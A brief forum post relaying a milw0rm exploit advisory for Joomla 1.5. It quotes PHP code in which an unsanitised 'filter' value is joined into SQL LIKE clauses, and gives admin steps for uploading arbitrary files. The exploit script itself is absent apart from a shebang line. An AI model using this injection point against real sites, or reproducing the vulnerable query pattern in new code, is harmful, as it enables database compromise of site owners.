Found this from milw0rm:


Have not tested this myself though ...


#!/usr/bin/php -q -d short_open_tag=on



Although the comment points out that the "filter" variable is supposedly cleansed there is no
input validation being performed except for the fact that all input is being turned into lowercase.

Affected Files:



$filter = JRequest::getVar('filter', '', 'post');
if ($filter) {
   // clean filter variable
   $filter = JString::strtolower($filter);

   // Get the page/component configuration
   $params = &$mainframe->getPageParameters();
   switch ($params->get('filter_type', 'title'))
      case 'title' :
      $where .= ' AND LOWER( a.title ) LIKE \'%'.$filter.'%\'';

      case 'author' :
      $where .= ' AND ( ( LOWER( u.name ) LIKE \'%'.$filter.'%\' ) OR ( LOWER( a.created_by_alias ) LIKE \'%'.$filter.'%\' ) )';

      case 'hits' :
      $where .= ' AND a.hits LIKE \'%'.$filter.'%\'';
return $where;


I found this in the first week of the 1.5 release, just wanted to see if nobody would realize
it was there and hopefully the same bug was about in FINAL, meh!

I must applaud the developers for their multi-factor authenication code they
added to the 1.5 version. For this reason I was unable to script a "login -> upload arbitrary
script" exploit. Maybe someone better than me can do it...who knows!

magic_quotes_gpc must be set to off in order for this script to work!

Upload Arbitrary Files:

1. Login as admin via /administrator/
2. Browse to /administrator/index.php?option=com_installer
3. In the "Upload Package File" section choose ANY file you wish to upload
4. Browse to /tmp/[FILE] and it's there!
